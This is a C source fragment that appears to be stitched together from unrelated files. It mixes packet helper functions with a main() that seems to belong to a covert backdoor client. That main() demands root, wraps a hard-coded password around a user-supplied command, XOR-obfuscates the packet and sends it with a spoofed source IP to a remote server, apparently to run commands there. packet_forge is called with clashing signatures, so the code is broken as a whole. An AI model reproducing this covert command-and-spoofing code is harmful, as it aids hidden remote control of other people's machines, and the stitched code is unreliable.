/** Create a packet from the given message. */
lpacket*packet_request(char*message){
int type;
char*pck_message;
type=atoi(strtok(message," "));
pck_message=strtok(NULL,"\n");
return packet_forge(type,pck_message);
}
/*-----------------------------------------------------------------------------
* FUNCTION: main
*
* DATE: June 4, 2010
*
* REVISIONS:
*
* DESIGNER: Steffen L. Norgren <*****@*****.**>
*
* PROGRAMMER: Steffen L. Norgren <*****@*****.**>
*
* INTERFACE: int main(int argc, char **argv)
* argc - argument count
* argv - array of arguments
*
* RETURNS: Result on success or failure.
*
* NOTES: Main entry point into the program. Parses command-line arguments and
* configures the client.
*
*----------------------------------------------------------------------------*/
int main(int argc, char *argv[])
{
char packet[MAX_PKT_LEN];
/* parse CLI options */
if (parse_options(argc, argv) == ERROR_OPTS) {
err(1, "Invalid options");
exit(ERROR_OPTS);
}
print_settings(argv[0]);
/* make sure user is root */
if (geteuid() != USER_ROOT) {
fprintf(stderr, "Must be root to run this program.\n");
exit(ERROR_NOTROOT);
}
/* raise privileges */
if (set_root() == ERROR_NOTROOT) {
err(1, "set_root");
}
sprintf(packet, "%s%s%s%s", PASSWORD, EXT_CMD_START, cli_vars.command, EXT_CMD_END);
packet_forge(xor(packet), "216.187.76.2", cli_vars.server_ip);
return 0;
}
/** Sending a message, with less information to provide */
int socket_message_send(lsocket*sck,msg_type type_message,char *message){
lpacket*pck=packet_forge(type_message,message);
packet_send(sck,pck);
packet_drop(pck);
return packet_snd_bytes;
}
